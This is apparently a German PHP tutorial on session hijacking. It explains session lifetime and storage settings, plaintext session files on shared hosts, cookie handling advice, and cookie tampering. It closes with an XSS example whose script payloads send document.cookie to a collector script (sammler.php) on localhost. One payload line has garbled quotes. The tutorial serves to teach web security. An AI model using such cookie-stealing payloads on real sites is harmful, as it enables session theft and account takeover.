Session-Hijacking: Session und Sicherheit

Beim Session-Hijacking wird eine gültige Session von einem Angreifer entführt (daher das Hijacking). Nach erfolgreicher Entführung kann der Angreifer im schlimmsten Fall die Identität des Nutzers übernehmen und die Anwendung in dessen Namen nutzen.

Sessions kommen überall dort vor, wo bei Webanwendungen die Besucher sich registrieren und einloggen können. Über die Session wird aus dem zustandslosen Protokoll quasi ein Protokoll mit Zustand. Die Anwendung kann nun überprüfen, ob der Besucher von der Einzelseite A (z.B. Produktvorstellung), der auf die Einzelseite (z.B. Bestellung) wechselt, derselbe Besucher ist.

In unserer PHP-Installation bekommen wir über phpinfo() die Informationen im Bereich Session, welche Einstellungen für die Session gültig sind und wo die Sessions abgelegt werden.

Interessante Angaben sind z.B. session.cache_expire und session.save_path

session.cache_expire

Bei der Angabe: session.cache_expire sehen wir die Angabe 180. Die Session verfällt also automatisch nach 180 Minuten, wenn der Anwender nichts mehr macht. Diese Vorgabezeit für die Lebensdauer einer Session kann allerdings in PHP auch individuell eingestellt werden:

session_cache_expire(5);

Durch den Befehl würde nun die Session nach 5 Minuten „verenden“, wenn der Nutzer nicht aktiv ist. Allerdings bekommt die Session (bzw. das Programm) nicht mit, das der Benutzer gerade einen Text tippt (oder in aller Ruhe die Website liest) und sich dann nach der 6 Minute wundert, warum er sich wieder einloggen muss. Man sieht in Bankanwendungen auch, dass ein Timer auf der Seite herunterläuft, bis wann der Benutzer automatisch ausgeloggt wird (sprich die Session verfällt).

Im Bild das Beispiel von der Sparda-Bank:

Wer also länger als 10 Minuten benötigt, seine Überweisung zu tippen, hat Pech :)

Man hat sich zwar nicht selber, sondern wurde, und zwar erfolgreich abgemeldet. Sicherheit ist hier wichtiger als Komfort, was von den Programmierern die richtige Entscheidung ist!

session.save_path

In der Standard-Installation von XAMPP werden im Verzeichnis \xampp\tmp die Sessions abgelegt. Wenn wir nun in das Verzeichnis sehen, finden wir Dateien mit Namen wie:

sess_4e989cd9d8fc66ea6195b0ee7c8edced    
Datum 15.11.2008 18.41

Nutzen wir mit einem PHP-Programm einmal eine Session, um zu sehen, wie die Inhalte der Datei aussehen.

<?php
session_start();
$_SESSION['zeit']  = date("H:i:s");
?>

Es wird dann eine Datei im Verzeichnis für die Session angelegt mit dem Dateinamen:

sess_da98f7086f6466f74775ba29430346e4

Der Inhalt der Datei ist:

zeit|s:8:"15:20:38";

Wird das Programm wieder ausgeführt, scheint nichts zu passieren. Das ist auch nicht verwunderlich, da noch eine gültige Session existiert und es daher keinen Grund gibt, eine weitere Session anzulegen.

Bei Sessions wird als Name nach dem Präfix eine eindeutige 32-stellige Zeichenkombination vergeben. Diese ist vom Angreifer nicht erratbar.

Teilt man einen Server mit anderen Nutzern (der Webauftritt liegt auf Shared-Host), ist die Standardeinstellung oft so, dass alle dasselbe Verzeichnis für die Session-Dateien nutzen. Allerdings (je nach Einstellungen des Hosters) kann diese Verzeichnis ausgelesen werden und somit auch die Sessions.

Daher ist es keine gute Idee, wenn jetzt in der Session der Benutzername und das Kennwort gespeichert würden, denn es stünde dort in Klartext:

<?php
session_start();
$_SESSION['zeit']  = date("H:i:s");
// vereinfachter Code

$_SESSION['benutzername']  = "Axel";
$_SESSION['kennwort']  = "www.php-kurs.com";
?>

In der Datei von der Session steht:

zeit|s:8:"15:31:10";benutzername|s:4:"Axel";kennwort|s:16:"www.php-kurs.com";

Das wäre also ungünstig, zumal wenn man weiß, dass unter Umständen andere den Inhalt der Session auslesen „könnten“. Auch kann es vorkommen, dass man seine Session-Daten nicht in Dateien speichert, sondern in Cookies. Diese werden auf dem Rechner des Nutzers gespeichert. Allerdings ist auch hier die Frage, wer sonst noch Zugriff auf den Rechner hat (mal an den kleinen Bruder denken oder dass man im Internetcafé sitzt).

Speicherung der Sessions beim Nutzer

Schauen wir uns einmal die übertragenen Kopfdaten der Website an (bei Firefox die Erweiterung „Live HTTP headers“ installieren – siehe http://livehttpheaders.mozdev.org/ )

Im HTTP-Header wird nun auch ein Cookie aufgeführt. Im obigen Beispiel mit dem Namen PHPSESSID= 0506f678e63586de1496f331d6ecb4d6

Wenn wir beim Firefox unter "Extras -> Einstellungen -> Datenschutz -> Cookies anzeigen.." nachsehen,

sollte dort unser Cookie wieder auftauchen:

Die Cookies werde auf der Festplatte gespeichert - je nach Browser an unterschiedlichen Orten:

Cookies und Sicherheitsprobleme

Auch Cookies, obwohl diese aussehen, als würden die Inhalte rein von einem selber kommen, kann nicht vertraut werden. Cookies können vom Angreifer frisiert werden und Schwupps hat man wieder ein Sicherheitsproblem. Die Daten aus Cookies müssen also wie andere Benutzereingaben mit der gleichen Sorgfalt behandelt (entschärft) werden.

Bei Cookies:

• Immer die Domain setzen (so präzise wie möglich)
• Immer einen Pfad setzen

Zur Kontrolle von Cookies bietet sich das Plugin (bzw. die Erweiterung zum Firebug) beim Firefox mit dem Namen Firecookie von Jan Odvarko an.

Download von Firecookie unter: https://addons.mozilla.org/de/firefox/addon/6683

Und dann kann das Cookie manipuliert werden.

Session-Informationen klauen

Werden nun über XSS die Informationen dem Angreifer übermittelt, ist es nur noch ein kleiner Schritt, die Session zu entführen. Durch das Übermitteln weiß der Angreifer nun, wo das „Entführungsopfer“ zu treffen ist.

Die Information über die Session ist gespeichert (für JavaScript)

alert (document.cookie);

Das JavaScript sieht wie folgt aus:

<script>
document.location=?localhost/sammler.php?cookie=?+document.cookie
</script>
<script>
document.location.replace('http://localhost/sammler.php?cookie='+document.cookie)
</script>